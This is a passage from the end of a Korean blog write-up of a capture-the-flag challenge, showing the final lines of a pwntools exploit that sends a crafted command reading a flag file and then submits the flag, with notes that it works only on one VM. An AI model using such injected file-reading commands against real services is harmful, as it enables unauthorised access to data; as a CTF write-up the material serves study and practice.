        r.sendlineafter(secret+b"> ", flagfile+space+cat)
        r.recvline()
        flag = r.recvline().strip()
        r.sendlineafter(secret+b"> ", flag)

        r.interactive()
    else:
        r.close()

r.interactive()

 

최종 익스 코드는 위와 같은데 vm마다 치환되는게 다르니까 vm 8에서만 동작하게 짰다. 일단 손으로 주요 키워드들좀 얻어주고 이게 플래그 읽을때 non-printable문자를 입력해야해서 pwntools로 쏴줬다.

 

 

반응형

'CTF' 카테고리의 다른 글

2022 Christmas CTF 후기  (1) 2022.12.27
2022 Layer7 CTF write up + 후기  (0) 2022.12.19
Codegate2022 본선 후기 + 문제 풀이  (0) 2022.11.16
CCE 2022 학생부 준우승 후기  (3) 2022.10.31
Dice CTF 2022 @ HOPE Write up  (0) 2022.07.25
Comments